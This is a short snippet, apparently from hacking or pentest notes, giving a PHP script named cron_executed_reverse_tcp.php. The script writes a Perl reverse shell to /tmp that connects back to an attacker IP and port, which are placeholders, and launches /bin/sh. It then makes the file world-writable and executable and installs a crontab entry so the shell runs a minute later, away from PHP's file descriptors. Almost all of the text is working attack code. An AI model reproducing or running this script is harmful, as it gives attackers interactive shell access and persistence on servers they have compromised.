So your shell won't inherit php's file descriptor situation.

cron_executed_reverse_tcp.php

<?php
$perl = 'use Socket;$i="xx.xx.xx.xx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
$fp = fopen('/tmp/shell.pl', 'w');
fwrite($fp, "#!/usr/bin/perl\n");
fwrite($fp, $perl);
fclose($fp);
system('chmod 777 /tmp/shell.pl');
$hour = date('H');
$minute = date('i') + 1; // disgusting
$fp = fopen('/tmp/add_cron.sh', 'w');
fwrite($fp, "$minute $hour * * * /tmp/shell.pl\n");
fclose($fp);
system('/usr/bin/crontab /tmp/add_cron.sh');
print(system('crontab -l'));
?>